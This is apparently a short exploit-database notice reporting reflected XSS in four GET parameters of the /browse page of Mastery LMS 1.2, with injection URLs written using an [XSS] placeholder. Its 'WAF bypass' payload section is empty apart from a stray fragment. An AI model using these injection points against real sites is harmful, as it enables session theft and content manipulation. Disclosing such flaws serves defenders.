# Exploit Title: Mastery LMS 1.2 - Reflected XSS # Exploit Author: CraCkEr # Date: 09/07/2023 # Vendor: Creativeitem # Vendor Homepage: https://creativeitem.com/ # Software Link: https://demo.creativeitem.com/mastery/ # Tested on: Windows 10 Pro # Impact: Manipulate the content of the site ## Description Allow Attacker to inject malicious code into website, give ability to steal sensitive information, manipulate data, and launch additional attacks. Path: /browse GET parameter 'search' is vulnerable to XSS https://website/browse?search=[XSS] GET parameter 'featured' is vulnerable to XSS https://website/browse?featured=[XSS] GET parameter 'recommended' is vulnerable to XSS https://website/browse?recommended=[XSS] GET parameter 'skill' is vulnerable to XSS https://website/browse?skill=[XSS] Simple XSS Payload (Blocked by WAF) : XSS Filter Bypass : "> [-] Done